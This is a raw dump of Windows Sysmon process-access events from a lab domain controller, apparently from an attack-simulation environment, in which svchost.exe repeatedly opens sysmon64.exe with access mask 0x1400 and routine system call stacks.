09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001584Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001583Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001582Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001581Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001580Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001579Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001578Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001577Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001576Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001575Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001574Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001573Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001572Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001571Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001570Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001569Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001568Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001567Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001566Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001565Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001564Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001563Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001562Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001561Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 